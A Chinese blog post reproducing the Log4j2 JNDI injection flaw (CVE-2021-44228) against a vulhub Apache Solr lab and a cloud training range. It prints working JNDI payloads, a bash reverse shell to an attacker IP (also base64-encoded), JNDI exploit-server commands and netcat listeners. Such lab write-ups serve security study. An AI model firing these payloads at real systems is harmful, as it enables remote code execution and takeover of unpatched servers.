首页 > 其他分享 >【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

时间:2023-03-26 21:00:47浏览次数:63  
标签:JNDI jndi 192.168 漏洞 lookup ldap Apache

【漏洞复现】Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)


0x01 漏洞描述

Apache Log4j2 是一个基于 Java 的日志记录工具, 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。该日志框架被大量用于业务系统开发,用来记录日志信息。

Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行。攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

0x02 影响版本

Apache Log4j2 2.0.0 - 2.15.0-rc1版本

0x03 漏洞分析

hello?payload=111

jndi注入:(搜索资源服务)		# 前两个为验证,第三个为利用
payload=${jndi:ldap://xxxx.dnslog.cn}
payload=${jndi:ldap://${sys:java.version}.xxxx.dnslog.cn}
payload=${jndi:rmi://192.168.66.128:1099/shell}
  1. 当用户通过get或者post提交输入信息时,应用程序中的“log4j2"组件会将信息记录到日志中
  2. 假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/shell},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/shell
  3. 解析到ldap,就会去192.168.96.1:1099的ldap服务找名为shell的资源,找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
  4. 攻击者就可以通过shell实现任意的命令执行,造成严重危害

攻击拓扑

0x04 漏洞验证

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

使用vulhub靶场,启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

cd vulhub/log4j/CVE-2021-44228/
docker-compose up -d

访问http://your-ip:8983即可查看到Apache Solr的后台页面。

对目标网站进行测试验证,利用dnslog生成一个用于接收回参的网址。

访问网址:

http://ip:8983/solr/admin/cores?action=${jndi:ldap://xxxxx.dnslog.cn}

${jndi:dns://${sys:java.version}.dnslog.cn}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

http://ip:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.dnslog.cn} 

收到回显:

证明漏洞存在。

0x05 漏洞利用

本地复现

攻击机:192.168.60.128
靶机:192.168.60.132

构造反弹payload:

bash -i >& /dev/tcp/192.168.60.128/8888 0>&1

经过base64加密:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOC8xMzg5IDA+JjE=

使用JNDI注入工具:

工具地址:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYwLjEyOC8xMzg5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.60.128
// -c是执行的bash命令,-A是指JNDI服务器IP

生成rmi远程执行代码地址:

rmi://192.168.60.128:1099/hgayzd

构造JNDI注入payload:

${jndi:rmi://192.168.60.128:1099/hgayzd}

开启nc监听:

nc -lnvp 8888

将payload插入action后访问执行:

http://192.168.60.132:8983/solr/admin/cores?action=${jndi:rmi://192.168.60.128:1099/hgayzd}

nc监听成功:


春秋云镜靶场CVE-2021-44228

进入靶场,界面如下:

漏洞注入点在text处,验证如下:

dnslog收到回显:

使用JNDIExploit-1.4-SNAPSHOT.jar工具

工具地址:https://github.com/WhiteHSBG/JNDIExploit

vps上开启服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip

开启监听

nc -lvvp 22222

构造payload

${jndi:ldap://ip:1389/Basic/ReverseShell/ip/22222}

在目标网站参数处加入payload后访问

成功反弹shell:


参考步骤:https://cloud.tencent.com/developer/article/2023496
参考视频:https://www.bilibili.com/video/BV1xe4y1h7Dv


标签:JNDI,jndi,192.168,漏洞,lookup,ldap,Apache
From: https://www.cnblogs.com/0dot7/p/17259327.html

相关文章

  • 浅析Nginx文件解析漏洞
    浅析Nginx文件解析漏洞本文章将从五个维度对Nginx文件解析漏洞进行剖析——原理、危害、检测、防御、复现1、原理​ Nginx文件解析漏洞的产生原因是由于Nginx配置文件de......
  • DC-8(sql注入漏洞)
    信息收集扫描ip和端口:通过nmap扫描ip和端口发现:ip为192.168.6.152,开放端口号为80和22扫描目录:dirb和desearch,发现了疑似登录界面查看框架:Drupal7漏洞扫描:searchsploitDru......
  • Apache Kafka JNDI注入(CVE-2023-25194)漏洞复现浅析
    关于ApacheKafka是一个开源的分布式事件流平台,被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型应用程序。影响版本2.4.0<=Apachekafka<=3.2.2环境......
  • 反序列化漏洞 之 CC1链(审计分析)
    反序列化前提1、被序列化和反序列化的类需要实现Serializable序列化接口2、并重写readObject方法,在重写的readObject方法中执行objectInputStream.defaultReadOb......
  • JNDI RMI 远程访问(LOG4j2漏洞底层原理)
    JDK版本8u112客户端(模拟被攻击的网站)服务端(注册RMI服务,给被攻击网站提供RMI服务)服务端IP192.168.3.175恶意类(客户端发送请求给服务端,服务端再请求恶意类予以......
  • ctf-文件执行漏洞(绕过)
    考察知识点:文件执行漏洞空格特殊字符、flag字符绕过空格绕过 ${IFS} ${IFS}$1 $IFS$1 <和<> {cat,flag} %20替换 %0a(换行) %0d(回车) %09(tab黑名单(关键字)绕......
  • pikachu-目录遍历漏洞、敏感信息泄露
    概述目录遍历漏洞概述在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。当用户发起一个前端的请求时,便会将请求的......
  • esxi主机安装完毕后漏洞:CVE-2018-3646解决方法
    [解决方案]由于此漏洞属于芯片级漏洞,更新固件会造成较大的性能损失,在私有云环境下,此漏洞的影响范围可控,我们可以选择禁用此提示,暂缓漏洞的修复。esxi主机安装完毕后漏洞:C......
  • CVE-2019-1256漏洞分析
    0x00漏洞信息漏洞影响:本地提权漏洞文件:win32kfull.sys漏洞函数:GreGradientFill漏洞原因:空指针引用分析系统:Windows1903【漏洞分析合集】0x01漏洞分析崩溃时的堆栈......
  • docker之bwapp漏洞测试环境搭建
    (1)dockersearchbwapp,(2)dockerpull镜像名称,(3)启动容器,(4)浏览器中访问http://本机ip:端口/login.php:会出现提示:(5)访问http://本机ip:端口/install.php做数据库初始化操作,(6)重新登......